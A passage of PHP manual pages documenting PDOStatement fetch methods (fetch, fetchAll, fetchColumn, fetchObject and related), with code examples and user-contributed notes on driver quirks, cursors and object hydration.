For a PDOStatement object representing a scrollable cursor for which the cursor_orientation parameter is set to PDO::FETCH_ORI_ABS, this value specifies the absolute number of the row in the result set that shall be fetched.

For a PDOStatement object representing a scrollable cursor for which the cursor_orientation parameter is set to PDO::FETCH_ORI_REL, this value specifies the row to fetch relative to the cursor position before PDOStatement::fetch() was called.

Return Values

The return value of this function on success depends on the fetch type. In all cases, FALSE is returned on failure.

Examples

Example #1 Fetching rows using different fetch styles

<?php
$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* Exercise PDOStatement::fetch styles */
print("PDO::FETCH_ASSOC: ");
print("Return next row as an array indexed by column name\n");
$result = $sth->fetch(PDO::FETCH_ASSOC);
print_r($result);
print("\n");

print("PDO::FETCH_BOTH: ");
print("Return next row as an array indexed by both column name and number\n");
$result = $sth->fetch(PDO::FETCH_BOTH);
print_r($result);
print("\n");

print("PDO::FETCH_LAZY: ");
print("Return next row as an anonymous object with column names as properties\n");
$result = $sth->fetch(PDO::FETCH_LAZY);
print_r($result);
print("\n");

print("PDO::FETCH_OBJ: ");
print("Return next row as an anonymous object with column names as properties\n");
$result = $sth->fetch(PDO::FETCH_OBJ);
print $result->NAME;
print("\n");
?>

The above example will output:

PDO::FETCH_ASSOC: Return next row as an array indexed by column name
Array
(
    [NAME] => apple
    [COLOUR] => red
)

PDO::FETCH_BOTH: Return next row as an array indexed by both column name and number
Array
(
    [NAME] => banana
    [0] => banana
    [COLOUR] => yellow
    [1] => yellow
)

PDO::FETCH_LAZY: Return next row as an anonymous object with column names as properties
PDORow Object
(
    [NAME] => orange
    [COLOUR] => orange
)

PDO::FETCH_OBJ: Return next row as an anonymous object with column names as properties
kiwi

Example #2 Fetching rows with a scrollable cursor

<?php
function readDataForwards($dbh) {
  $sql = 'SELECT hand, won, bet FROM mynumbers ORDER BY BET';
  try {
    $stmt = $dbh->prepare($sql, array(PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL));
    $stmt->execute();
    while ($row = $stmt->fetch(PDO::FETCH_NUM, PDO::FETCH_ORI_NEXT)) {
      $data = $row[0] . "\t" . $row[1] . "\t" . $row[2] . "\n";
      print $data;
    }
    $stmt = null;
  }
  catch (PDOException $e) {
    print $e->getMessage();
  }
}
function readDataBackwards($dbh) {
  $sql = 'SELECT hand, won, bet FROM mynumbers ORDER BY bet';
  try {
    $stmt = $dbh->prepare($sql, array(PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL));
    $stmt->execute();
    $row = $stmt->fetch(PDO::FETCH_NUM, PDO::FETCH_ORI_LAST);
    do {
      $data = $row[0] . "\t" . $row[1] . "\t" . $row[2] . "\n";
      print $data;
    } while ($row = $stmt->fetch(PDO::FETCH_NUM, PDO::FETCH_ORI_PRIOR));
    $stmt = null;
  }
  catch (PDOException $e) {
    print $e->getMessage();
  }
}

print "Reading forwards:\n";
readDataForwards($conn);

print "Reading backwards:\n";
readDataBackwards($conn);
?>

The above example will output:

Reading forwards:
21    10    5
16    0     5
19    20    10

Reading backwards:
19    20    10
16    0     5
21    10    5

See Also

  • PDO::prepare() - Prepares a statement for execution and returns a statement object
  • PDOStatement::execute() - Executes a prepared statement
  • PDOStatement::fetchAll() - Returns an array containing all of the result set rows
  • PDOStatement::fetchColumn() - Returns a single column from the next row of a result set
  • PDOStatement::fetchObject() - Fetches the next row and returns it as an object.
  • PDOStatement::setFetchMode() - Set the default fetch mode for this statement

User Contributed Notes

tastro 19-Sep-2014 09:41
Note that this way, the "fetch mode" will get "overwritten", and PDO::FETCH_PROPS_LATE won't be applied:

<?php
$sth = $db->prepare("SELECT * FROM user WHERE id = 1");
$sth->setFetchMode( PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE, 'user');
$sth->execute();
$user = $sth->fetch( PDO::FETCH_CLASS );
$sth->closeCursor();
?>

Instead, you should leave the parameter area for the fetch() method empty, like this (if you want to set the fetch mode with the setFetchMode() method):

<?php
$sth = $db->prepare("SELECT * FROM user WHERE id = 1");
$sth->setFetchMode( PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE, 'user');
$sth->execute();
$user = $sth->fetch();
$sth->closeCursor();
?>
lenz_kappov at yahoo dot co dot uk 23-Feb-2014 07:30
Because MySQL does not currently support the use of cursors, the $cursor_offset feature cannot work when using PDO to access a MySQL database.

If you are tring to arbitrarily access a specific record or group of records in a MySQL database recordset, you might want to consider using the LIMIT clause of the SELECT statement to achieve this e.g. LIMIT 5,3 to return just the 6th,7th & 8th records - 3 records starting at index 5 (which is the 6th record).
yarco dot wang at gmail dot com 08-Dec-2013 08:30
If no record, this function will also return false.
I think that is not very good...
sumariva at gmail dot com 30-May-2013 03:02
I got problems during fetch of stored procedures with mssql following PDOException:

SQLSTATE[IMSSP]: The active result for the query contains no fields

with a a prepared statement like:
 EXEC [mydb].[stored_procedure_that_returns_select] ?;

The solution was to supress the count of records
SET NOCOUNT ON; EXEC [mydb].[stored_procedure_that_returns_select] ?;

Hope it helps!
gergo at gergoerdosi dot com 12-Feb-2013 01:07
When using PDO::FETCH_COLUMN in a while loop, it's not enough to just use the value in the while statement as many examples show:

<?php
while ($row = $stmt->fetch(PDO::FETCH_COLUMN)) {
    print $row;
}
?>

If there are 5 rows with values 1 2 0 4 5, then the while loop above will stop at the third row printing only 1 2. The solution is to either explicitly test for false:

<?php
while (($row = $stmt->fetch(PDO::FETCH_COLUMN)) !== false) {
    print $row;
}
?>

Or use foreach with fetchAll():

<?php
foreach ($stmt->fetchAll(PDO::FETCH_COLUMN) as $row) {
    print $row;
}
?>

Both will correctly print 1 2 0 4 5.
sumariva at gmail dot com 05-Jul-2012 01:17
I could use PDO::FETCH_COLUMN to retrieve the first column from result.
$ps->fetch( PDO::FETCH_COLUMN );
Worked on Postgresql with PHP 5.3.10.
Alex 07-Sep-2011 11:32
It seems that if you do a $statement->query() with an INSERT statement and after that a $statement->fetch() you will get an exception saying: SQLSTATE[HY000]: General error.
henry at henrysmith dot org 06-Aug-2011 06:24
Someone's already pointed out that PDO::CURSOR_SCROLL isn't supported by the SQLite driver. It's also worth noting that it's not supported by the MySQL driver either.

In fact, if you try to use scrollable cursors with a MySQL statement, the PDO::FETCH_ORI_ABS parameter and the offset given to fetch() will be silently ignored. fetch() will behave as normal, returning rows in the order in which they came out of the database.

It's actually pretty confusing behaviour at first. Definitely worth documenting even if only as a user-added note on this page.
Ome Ko 21-Jun-2011 01:46
Don't do
if($objStatement->fetch()) return $objStatement->fetch();

You want
if($blah=$objStatement->fetch()) return $blah;

Trust me on this one.
public at grik dot net 25-Nov-2010 12:10
When fetching an object, the constructor of the class is called after the fields are populated by default.

PDO::FETCH_PROPS_LATE is used to change the behaviour and make it work as expected - constructor be called _before_ the object fields will be populated with the data.

sample:

<?php
$a = $PDO->query('select id from table');
$a->setFetchMode(PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE, 'ClassName');
$obj = $a->fetch();
?>

http://bugs.php.net/bug.php?id=53394
Typer85 at gmail dot com 02-Feb-2010 12:03
Here is quick note for developers that use the PDO SQLite Driver:

The PDO SQLite driver does not support cursors, so using the PDO::CURSOR_SCROLL Attribute, will not work when using the PDO SQLite driver. For example:

<?php

// Assuming $Handle Is a PDO Handle.
$Statement = $Handle->query( $sqlStatement , array( PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL ) );

?>

What is even worse is that PDO::prepare will NOT throw an Exception when it fails to prepare the query, even when the error mode is set to throw Exceptions, and will instead return a Boolean False!

Not only do I consider this a poor design choice, but also its a real shame that this is not documented anywhere in the manual -- in fact the manual is not clear on what Attributes are supported by which drivers and which are not so developers are left to play a classic game of guess.

I hope this saves some developers some headaches.

Good Luck,
lod 16-Jul-2008 06:33
A quick one liner to get the first entry returned.  This is nice for very basic queries.

<?php
$count = current($db->query("select count(*) from table")->fetch());
?>php
lozitskiys at gmail dot com 09-Jul-2008 02:21
I spent some hours trying to find out how to manipulate with BLOB fields using PDO.

Remember that you can't retreive BLOB data using something like this :

<?php
$sql = 'SELECT * FROM sometable LIMIT 1';
$stmt = $dbh->prepare($sql);
$stmt->execute();
$stmt->setAttribute(PDO::FETCH_ASSOC);
$row = $stmt->fetch();

$myFile = $row['file'];
?>

Instead of this you should try following approach:

<?php
$sql = "SELECT mime, file FROM sometable LIMIT 1";
$stmt = $dbh->prepare($sql);
$stmt->execute();

$stmt->bindColumn(1, $mime,);
$stmt->bindColumn(2, $file, PDO::PARAM_LOB);

$stmt->fetch();

header('Content-type: '.$mime);
print $file;

?>
josh 29-Apr-2008 09:02
Note that PDO::ATTR_STRINGIFY_FETCHES will NOT work for the MySQL driver. MySQL will always return strings because that is the behaviour of the core mysql PHP extension. See http://bugs.php.net/bug.php?id=44341
Gerard van Beek 28-Oct-2007 10:42
If you to use a new instance of a class for a record you can use:

<?php
include_once("user.class");
$sth = $db->prepare("SELECT * FROM user WHERE id = 1");

/* create instance automatically */
$sth->setFetchMode( PDO::FETCH_CLASS, 'user');
$sth->execute();
$user = $sth->fetch( PDO::FETCH_CLASS );
$sth->closeCursor();
print ($user->id);

/* or create an instance yourself and use it */
$user= new user();
$sth->setFetchMode( PDO::FETCH_INTO, $user);
$sth->execute();
$user= $sth->fetch( PDO::FETCH_INTO );
$sth->closeCursor();
print ($user->id);
?>
BaBna 16-Aug-2007 09:52
When you do a SELECT query for one row, and want to check if it's there, you don't need to count the fetchAll() result, you can just check if $result->fetch() is true:
<?php
$bbnq = sprintf("SELECT login
FROM users
WHERE id = %u",27);
try
    { $req = $db_bbn->query($bbnq); }
catch (Exception $e)
    { bbnf_pdo_error($e,__FILE__,__LINE__); }
if ( $r = $req->fetch() )
    { echo "This query has a row result"; }
else
    { echo "This query has an empty result"; }
?>
marcini 02-Apr-2007 01:41
Be careful with fetch() when you use prepared statements and MySQL (I don`t know how it is with other databases). Fetch won`t close cursor and won`t let you send any other query, even if your result set has only one row, .
If you use $statement->fetch(), you will also have to use $statement->closeCursor() afterwards, to be albe to execute another query.
Alternatively you can use $statement->fetchAll() without $statement->closeCursor().
terry at bitsoup dot com 02-Mar-2006 09:46
WARNING:
fetch() does NOT adhere to SQL-92 SQLSTATE standard when dealing with empty datasets.

Instead of setting the errorcode class to 20 to indicate "no data found", it returns a class of 00 indicating success, and returns NULL to the caller.

This also prevents the exception mechainsm from firing.

Programmers will need to explicitly code tests for empty resultsets after any fetch*() instead of relying on the default behavior of the RDBMS.

I tried logging this as a bug, but it was dismissed as "working as intended". Just a head's up.
avinoamr at gmail dot com 19-Jan-2006 11:48
Note that using the FETCH_CLASS mechanism does NOT trigger the class's constructor! You must explicity instantiate the class to use it's constructor behavior.
fh at ez dot no 25-Nov-2005 09:13
I can also add that the constructor is run _after_ the data is set on the object if yo use PDO::FETCH_CLASS.
fh at ez dot no 25-Nov-2005 08:58
If you want to use PDO::FETCH_CLASS you need to set it up with setFetchMode first like so:
        $stmt->setFetchMode( PDO::FETCH_CLASS, 'classType', array( 'parameters to constructor' );
        $object = $stmt->fetch( PDO::FETCH_CLASS );
If you ommit this PHP will segfault.
aledmb at gmail dot com 21-Oct-2005 07:22
note that fetch constants are not included in the PDO class for PHP versions prior to 5.1


Returns an array containing all of the result set rows

  • « PDOStatement::fetch
  • PDOStatement::fetchColumn »
  • PHP Manual
  • PDOStatement
  • Returns an array containing all of the result set rows

PDOStatement::fetchAll

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDOStatement::fetchAll — Returns an array containing all of the result set rows

Description

public array PDOStatement::fetchAll ([ int $fetch_style [, mixed $fetch_argument [, array $ctor_args = array() ]]] )

Parameters

fetch_style

Controls the contents of the returned array as documented in
PDOStatement::fetch().
Defaults to value of PDO::ATTR_DEFAULT_FETCH_MODE
(which defaults to PDO::FETCH_BOTH)

To return an array consisting of all values of a single column from the result set, specify PDO::FETCH_COLUMN. You can specify which column you want with the column-index parameter.

To fetch only the unique values of a single column from the result set, bitwise-OR PDO::FETCH_COLUMN with PDO::FETCH_UNIQUE.

To return an associative array grouped by the values of a specified column, bitwise-OR PDO::FETCH_COLUMN with PDO::FETCH_GROUP.

fetch_argument

This argument have a different meaning depending on the value of the fetch_style parameter:

  • PDO::FETCH_COLUMN: Returns the indicated 0-indexed column.

  • PDO::FETCH_CLASS: Returns instances of the specified class, mapping the columns of each row to named properties in the class.

  • PDO::FETCH_FUNC: Returns the results of calling the specified function, using each row's columns as parameters in the call.

ctor_args

Arguments of custom class constructor when the fetch_style parameter is PDO::FETCH_CLASS.

Return Values

PDOStatement::fetchAll() returns an array containing all of the remaining rows in the result set. The array represents each row as either an array of column values or an object with properties corresponding to each column name. An empty array is returned if there are zero results to fetch, or FALSE on failure.

Using this method to fetch large result sets will result in a heavy demand on system and possibly network resources. Rather than retrieving all of the data and manipulating it in PHP, consider using the database server to manipulate the result sets. For example, use the WHERE and ORDER BY clauses in SQL to restrict results before retrieving and processing them with PHP.

Examples

Example #1 Fetch all remaining rows in a result set

<?php
$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* Fetch all of the remaining rows in the result set */
print("Fetch all of the remaining rows in the result set:\n");
$result = $sth->fetchAll();
print_r($result);
?>

The above example will output something similar to:

Fetch all of the remaining rows in the result set:
Array
(
    [0] => Array
        (
            [NAME] => pear
            [0] => pear
            [COLOUR] => green
            [1] => green
        )

    [1] => Array
        (
            [NAME] => watermelon
            [0] => watermelon
            [COLOUR] => pink
            [1] => pink
        )

)

Example #2 Fetching all values of a single column from a result set

The following example demonstrates how to return all of the values of a single column from a result set, even though the SQL statement itself may return multiple columns per row.

<?php
$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* Fetch all of the values of the first column */
$result = $sth->fetchAll(PDO::FETCH_COLUMN, 0);
var_dump($result);
?>

The above example will output something similar to:

Array(3)
(
    [0] =>
    string(5) => apple
    [1] =>
    string(4) => pear
    [2] =>
    string(10) => watermelon
)

Example #3 Grouping all values by a single column

The following example demonstrates how to return an associative array grouped by the values of the specified column in the result set. The array contains three keys: values apple and pear are returned as arrays that contain two different colours, while watermelon is returned as an array that contains only one colour.

<?php
$insert = $dbh->prepare("INSERT INTO fruit(name, colour) VALUES (?, ?)");
$insert->execute(array('apple', 'green'));
$insert->execute(array('pear', 'yellow'));

$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* Group values by the first column */
var_dump($sth->fetchAll(PDO::FETCH_COLUMN|PDO::FETCH_GROUP));
?>

The above example will output something similar to:

array(3) {
  ["apple"]=>
  array(2) {
    [0]=>
    string(5) "green"
    [1]=>
    string(3) "red"
  }
  ["pear"]=>
  array(2) {
    [0]=>
    string(5) "green"
    [1]=>
    string(6) "yellow"
  }
  ["watermelon"]=>
  array(1) {
    [0]=>
    string(5) "green"
  }
}

Example #4 Instantiating a class for each result

The following example demonstrates the behaviour of the PDO::FETCH_CLASS fetch style.

<?php
class fruit {
    public $name;
    public $colour;
}

$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

$result = $sth->fetchAll(PDO::FETCH_CLASS, "fruit");
var_dump($result);
?>

The above example will output something similar to:

array(3) {
  [0]=>
  object(fruit)#1 (2) {
    ["name"]=>
    string(5) "apple"
    ["colour"]=>
    string(5) "green"
  }
  [1]=>
  object(fruit)#2 (2) {
    ["name"]=>
    string(4) "pear"
    ["colour"]=>
    string(6) "yellow"
  }
  [2]=>
  object(fruit)#3 (2) {
    ["name"]=>
    string(10) "watermelon"
    ["colour"]=>
    string(4) "pink"
  }
}

Example #5 Calling a function for each result

The following example demonstrates the behaviour of the PDO::FETCH_FUNC fetch style.

<?php
function fruit($name, $colour) {
    return "{$name}: {$colour}";
}

$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

$result = $sth->fetchAll(PDO::FETCH_FUNC, "fruit");
var_dump($result);
?>

The above example will output something similar to:

array(3) {
  [0]=>
  string(12) "apple: green"
  [1]=>
  string(12) "pear: yellow"
  [2]=>
  string(16) "watermelon: pink"
}

See Also

  • PDO::query() - Executes an SQL statement, returning a result set as a PDOStatement object
  • PDOStatement::fetch() - Fetches the next row from a result set
  • PDOStatement::fetchColumn() - Returns a single column from the next row of a result set
  • PDO::prepare() - Prepares a statement for execution and returns a statement object
  • PDOStatement::setFetchMode() - Set the default fetch mode for this statement

User Contributed Notes

janniet at kiekies dot net 27-Oct-2014 11:30
If you want to fetch rows as an object for which you have not defined a class, you can do:
<?php
$result = $q->fetchAll(PDO::FETCH_OBJ);
?>
fractalesque at gmail dot com 10-Jun-2014 01:05
to fetch rows grouped by primary id or any other field you may use FETCH_GROUP with FETCH_UNIQUE:

<?php

//prepare and execute a statement returning multiple rows, on a single one
$stmt = $db->prepare('SELECT id,name,role FROM table');
$stmt->execute();
var_dump($stmt->fetchAll(PDO::FETCH_GROUP | PDO::FETCH_UNIQUE));

//returns an array with the first selected field as key containing associative arrays with the row. This mode takes care not to repeat the key in corresponding grouped array.

$result = array
 (1 => array
   ('name'=>'foo',
    'role'=>'sage',),
  2 => array
   ('name'=>'bar',
    'role'=>'rage',),);

// 'SELECT name,id,role FROM table' would result in that:

$result = array
 ('foo' => array
   ('id'=>1,
    'role'=>'sage',),
  'bar' => array
   ('id'=>2,
    'role'=>'rage',),);

?>
GyoreG 06-Jun-2014 06:14
If you would like to get the result as "key-value-pairs", like:

Array(
    [key1] => "value1"
    [key2] => "value2"
)

then you can do it by calling fetchAll with PDO::FETCH_GROUP | PDO::FETCH_COLUMN parameters.

<?php
  $result = $query->fetchAll(PDO::FETCH_GROUP|PDO::FETCH_COLUMN);
?>
michael dot arnauts at gmail dot com 30-Jan-2014 12:59
If you want to use PDO::FETCH_CLASS but don't like that all the values are of the type string, you can always use the __construct function of the class specified to convert them to a different type.

Another way is using mysqlnd, but it seems I had to recompile PHP for that.

<?php

class Cdr {
    public $a; // int
    public $b; // float
    public $c; // string

    public function __construct() {
        $this->a = intval($this->a);
        $this->b = floatval($this->b);
    }

}

// ...
$arrCdrs = $objSqlStatement->fetchAll(PDO::FETCH_CLASS, 'Cdr');

?>
ramon at monztro dot com 25-May-2012 01:18
If you are trying to call PDOStatement::fetchAll and is not getting the result set as expected (empty instead), check if you called PDOStatement::execute first.

Remember PDOStatement::fetchAll does not execute the query, it just mounts the array.

:)
Hayley Watson 05-Jul-2011 01:48
If you use the PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE flags to map columns to object properties, fetchAll() will use any __set() method your object has when carrying out the mapping.
Anonymous 25-Jun-2011 11:10
Note that fetchAll() can be extremely memory inefficient for large data sets. My memory limit was set to 160 MB this is what happened when I tried:

<?php
$arr = $stmt->fetchAll();
// Fatal error: Allowed memory size of 16777216 bytes exhausted
?>

If you are going to loop through the output array of fetchAll(), instead use fetch() to minimize memory usage as follows:

<?php
while ($arr = $stmt->fetch()) {
    echo round(memory_get_usage() / (1024*1024),3) .' MB<br />';
    // do_other_stuff();
}
// Last line for the same query shows only 28.973 MB usage
?>
Dennis 10-Jun-2010 05:51
Error:
SQLSTATE[HY000]: General error: 2014 Cannot execute queries while other unbuffered queries are active. Consider using PDOStatement::fetchAll(). Alternatively, if your code is only ever going to run against mysql, you may enable query buffering by setting the PDO::MYSQL_ATTR_USE_BUFFERED_QUERY attribute.

If you're using something like:

while ($row = $query->fetchObject()) {
    [...]
}

try using this instead:

$rows = $query->fetchAll(PDO::FETCH_CLASS, 'ArrayObject');

foreach ($rows as $row) {
    [...]
}
esw at pixeloution dot removeme dot com 19-May-2010 06:17
Interestingly enough, when you use fetchAll, the constructor for your object is called AFTER the properties are assigned. For example:

<?php
class person {
    public $name;

    function __construct() {
       $this->name = $this->name . " is my name.";
    }
}

# set up select from a database here with PDO
$obj = $STH->fetchALL(PDO::FETCH_CLASS, 'person');
?>

Will result in ' is my name' being appended to all the name columns. However if you call it slightly differently:

<?php
$obj = $obj = $STH->fetchAll(PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE, 'person');
?>

Then the constructor will be called before properties are assigned. I can't find this documented anywhere, so I thought it would be nice to add a note here.
mxrgus 24-Oct-2009 01:22
In method body:

return $pstmt->fetchAll() or die("bad");

will not return correct value, but "1" instead.
Daniel Hofmann 05-May-2009 09:21
PLEASE BE AWARE: If you do an OUTER LEFT JOIN and set PDO FetchALL to PDO::FETCH_ASSOC, any primary key you used in the OUTER LEFT JOIN will be set to a blank if there are no records returned in the JOIN.

For example:
<?php
//query the product table and join to the image table and return any images, if we have any, for each product
$sql = "SELECT * FROM product, image
LEFT OUTER JOIN image ON (product.product_id = image.product_id)";

$array = $stmt->fetchAll(PDO::FETCH_ASSOC);

print_r($array);
?>

The resulting array will look something like this:

Array
(
    [0] => Array
        (
            [product_id] =>
            [notes] => "this product..."
            [brand] => "Best Yet"
            ...

The fix is to simply specify your field names in the SELECT clause instead of using the * as a wild card, or, you can also specify the field in addition to the *. The following example returns the product_id field correctly:

<?php
$sql = "SELECT *, product.product_id FROM product, image
LEFT OUTER JOIN image ON (product.product_id = image.product_id)";

$array = $stmt->fetchAll(PDO::FETCH_ASSOC);

print_r($array);
?>

The resulting array will look something like this:

Array
(
    [0] => Array
        (
            [product_id] => 3
            [notes] => "this product..."
            [brand] => "Best Yet"
            ...
Ant P. 04-Feb-2009 03:37
You might find yourself wanting to use FETCH_GROUP and FETCH_ASSOC at the same time, to get your table's primary key as the array key:
<?php
// $stmt is some query like "SELECT rowid, username, comment"
$results = $stmt->fetchAll(PDO::FETCH_GROUP|PDO::FETCH_ASSOC);

// It does work, but not as you might expect:
$results = array(
    1234 => array(0 => array('username' => 'abc', 'comment' => '[...]')),
    1235 => array(0 => array('username' => 'def', 'comment' => '[...]')),
);

// ...but you can at least strip the useless numbered array out easily:
$results = array_map('reset', $results);
?>
davey at php dot net 03-Nov-2008 03:54
When passing PDO::FETCH_CLASS as the first argument, this method will accept the class name as the second option:

<?php
$query = $pdo->prepare($sql);

$result = $query->execute($values);

if ($result && $query->rowCount() > 0) {
    $records = $query->fetchAll(PDO::FETCH_CLASS, 'Some_Class');
    // $record is now an array of Some_Class objects
}
?>

- Davey
mrshelly at hotmail dot com 31-Oct-2008 04:27
PHP fetchAll Data From SQL Server 2005
if field's data type is varchar(nvarchar), only fetch 255 chars. but the "text" data type is ok.

so, notice! to change the 'varchar' or 'nvarchar' (length > 255) to 'text' data type..

hope to help u.

<?php

$user = 'sa';
$pass = 'pass';

$conn = new PDO('mssql:host=127.0.0.1; dbname=tempdb;', $user, $pass);

$mainSQL = "SELECT field_varchar, field_text FROM table1";
$sth = $conn->prepare($mainSQL);
$sth->setFetchMode(PDO::FETCH_ASSOC);
$sth->execute();
$retRows = $sth->fetchAll();
// the field_varchar field only to fetch 255 chars(max)
// the field_text is ok.

var_dump($retRows);

unset($sth); unset($conn);

?>
harlequin2 at gmx dot de 10-Jun-2008 02:01
There is also another fetch mode supported on Oracle and MSSQL:
PDO::FETCH_ASSOC

> fetches only column names and omits the numeric index.

If you would like to return all columns from an sql statement with column keys as table headers, it's as simple as this:

<?php
$dbh = new PDO("DS", "USERNAME", "PASSWORD");
$stmt = $dbh->prepare("SELECT * FROM tablename");
$stmt->execute();
$arrValues = $stmt->fetchAll(PDO::FETCH_ASSOC);
// open the table
print "<table wdith=\"100%\">\n";
print "<tr>\n";
// add the table headers
foreach ($arrValues[0] as $key => $useless){
    print "<th>$key</th>";
}
print "</tr>";
// display data
foreach ($arrValues as $row){
    print "<tr>";
    foreach ($row as $key => $val){
        print "<td>$val</td>";
    }
    print "</tr>\n";
}
// close the table
print "</table>\n";
?>
Anonymous 02-Jan-2008 08:13
If no rows have been returned, fetchAll returns an empty array.
stas at metalinfo dot ru 18-Oct-2006 03:37
Note, that you can use PDO::FETCH_COLUMN|PDO::FETCH_GROUP pair only while selecting two columns, not like DB_common::getAssoc(), when grouping is set to true.


Returns a single column from the next row of a result set

  • « PDOStatement::fetchAll
  • PDOStatement::fetchObject »
  • PHP Manual
  • PDOStatement
  • Returns a single column from the next row of a result set

PDOStatement::fetchColumn

(PHP 5 >= 5.1.0, PECL pdo >= 0.9.0)

PDOStatement::fetchColumn — Returns a single column from the next row of a result set

Description

public string PDOStatement::fetchColumn ([ int $column_number = 0 ] )

Returns a single column from the next row of a result set or FALSE if there are no more rows.

Parameters

column_number

0-indexed number of the column you wish to retrieve from the row. If no value is supplied, PDOStatement::fetchColumn() fetches the first column.

Return Values

PDOStatement::fetchColumn() returns a single column in the next row of a result set.

Warning

There is no way to return another column from the same row if you use PDOStatement::fetchColumn() to retrieve data.

Examples

Example #1 Return first column of the next row

<?php
$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* Fetch the first column from the next row in the result set */
print("Fetch the first column from the next row in the result set:\n");
$result = $sth->fetchColumn();
print("name = $result\n");

print("Fetch the second column from the next row in the result set:\n");
$result = $sth->fetchColumn(1);
print("colour = $result\n");
?>

The above example will output:

Fetch the first column from the next row in the result set:
name = lemon
Fetch the second column from the next row in the result set:
colour = red

See Also

  • PDO::query() - Executes an SQL statement, returning a result set as a PDOStatement object
  • PDOStatement::fetch() - Fetches the next row from a result set
  • PDOStatement::fetchAll() - Returns an array containing all of the result set rows
  • PDO::prepare() - Prepares a statement for execution and returns a statement object
  • PDOStatement::setFetchMode() - Set the default fetch mode for this statement

User Contributed Notes

nobody 10-Sep-2014 07:04
In response to php at luka5 dot de, you cannot assume that the example above is incorrect because we did not see the datasource.  If you look, the first column (name) of the first row was 'lemon' and the 2nd column (color) of the 2nd row was red.

If I had to assume, I would suspect the data source did not hold a red lemon.
php at luka5 dot de 01-Sep-2014 02:11
> There is no way to return another column from the same row if you use PDOStatement::fetchColumn() to retrieve data.

The example above does not work, because we call fetchColumn twice.
Nathan Pohpam 21-Mar-2012 11:49
WARNING: PhoenixSegovia isn't quite correct. Perhaps it's implementation-dependent, but fetchColumn returns the empty string in my program. Beware!
PhoneixSegovia at GOOGLE_MAIL_SERVER dot com 21-Oct-2010 11:13
fetchColumn return boolean false when a row not is found or don't had more rows.
seanferd at assmasterdonkeyranch dot com 26-Jan-2007 12:04
This is an excellent method for returning a column count. For example:

<?php
$db = new PDO('mysql:host=localhost;dbname=pictures','user','password');
$pics = $db->query('SELECT COUNT(id) FROM pics');
$this->totalpics = $pics->fetchColumn();
$db = null;
?>
In my case $pics->fetchColumn() returns 641 because that is how many pictures I have in my db.


Fetches the next row and returns it as an object.

  • « PDOStatement::fetchColumn
  • PDOStatement::getAttribute »
  • PHP Manual
  • PDOStatement
  • Fetches the next row and returns it as an object.

PDOStatement::fetchObject

(PHP 5 >= 5.1.0, PECL pdo >= 0.2.4)

PDOStatement::fetchObject — Fetches the next row and returns it as an object.

Description

public mixed PDOStatement::fetchObject ([ string $class_name = "stdClass" [, array $ctor_args ]] )

Fetches the next row and returns it as an object. This function is an
alternative to PDOStatement::fetch() with
PDO::FETCH_CLASS or
PDO::FETCH_OBJ style.

Parameters

class_name

Name of the created class.

ctor_args

Elements of this array are passed to the constructor.

Return Values

Returns an instance of the required class with property names that correspond to the column names or FALSE on failure.

See Also

  • PDOStatement::fetch() - Fetches the next row from a result set

User Contributed Notes

Vegard Lkken 18-Mar-2014 04:19
Because of the injection of object properties before the constructor is executed, I usually build my classes like this to make sure already set properties aren't overwritten:

<?php
class Person {
  public $name;
  public $age;
  public $sex;

  public function __construct($name=NULL, $age=NULL, $sex=NULL) {
    $this->name = $name === NULL ? $this->name : $name;
    $this->age = $age === NULL ? $this->age : $age;
    $this->sex = $sex === NULL ? $this->sex : $sex;
  }
}
?>
rasmus at mindplay dot dk 24-Mar-2013 06:53
Be warned of the rather unorthodox behavior of PDOStatement::fetchObject() which injects property-values BEFORE invoking the constructor - in other words, if your class  initializes property-values to defaults in the constructor, you will be overwriting the values injected by fetchObject() !

A var_dump($this) in your __construct() method will reveal that property-values have been initialized prior to calling your constructor, so be careful.

For this reason, I strongly recommend hydrating your objects manually, after retrieving the data as an array, rather than trying to have PDO apply properties directly to your objects.

Clearly somebody thought they were being clever here - allowing you to access hydrated property-values from the constructor. Unfortunately, this is just not how OOP works - the constructor, by definition, is the first method called upon construction.

If you need to initialize your objects after they have been constructed and hydrated, I suggest your model types implement an interface with an init() method, and you data access layer invoke this method (if implemented) after hydrating.


Retrieve a statement attribute

  • « PDOStatement::fetchObject
  • PDOStatement::getColumnMeta »
  • PHP Manual
  • PDOStatement
  • Retrieve a statement attribute

PDOStatement::getAttribute

(PHP 5 >= 5.1.0, PECL pdo >= 0.2.0)

PDOStatement::getAttribute — Retrieve a statement attribute

Description

public mixed PDOStatement::getAttribute ( int $attribute )

Gets an attribute of the statement. Currently, no generic attributes exist but only driver specific:

  • PDO::ATTR_CURSOR_NAME (Firebird and ODBC specific): Get the name of cursor for UPDATE ... WHERE CURRENT OF.

Return Values

Returns the attribute value.

See Also

  • PDO::getAttribute() - Retrieve a database connection attribute
  • PDO::setAttribute() - Set an attribute
  • PDOStatement::setAttribute() - Set a statement attribute

User Contributed Notes

There are no user contributed notes for this page.


Returns metadata for a column in a result set

  • « PDOStatement::getAttribute
  • PDOStatement::nextRowset »
  • PHP Manual
  • PDOStatement
  • Returns metadata for a column in a result set

PDOStatement::getColumnMeta

(PHP 5 >= 5.1.0, PECL pdo >= 0.2.0)

PDOStatement::getColumnMeta — Returns metadata for a column in a result set

Description

public array PDOStatement::getColumnMeta ( int $column )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Retrieves the metadata for a 0-indexed column in a result set as an associative array.

Warning

Not all PDO drivers support PDOStatement::getColumnMeta().

Parameters

column

The 0-indexed column in the result set.

Return Values

Returns an associative array containing the following values representing the metadata for a single column:

Column metadata
Name | Value
